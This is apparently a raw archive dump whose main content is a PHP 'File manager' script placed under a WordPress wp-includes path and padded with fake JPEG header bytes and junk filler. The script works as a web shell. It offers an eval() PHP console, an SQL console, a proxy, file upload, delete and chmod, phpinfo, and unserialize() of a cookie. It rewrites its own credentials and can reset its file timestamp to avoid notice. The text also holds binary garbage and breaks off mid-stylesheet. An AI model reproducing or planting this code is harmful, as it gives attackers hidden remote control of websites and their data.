		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
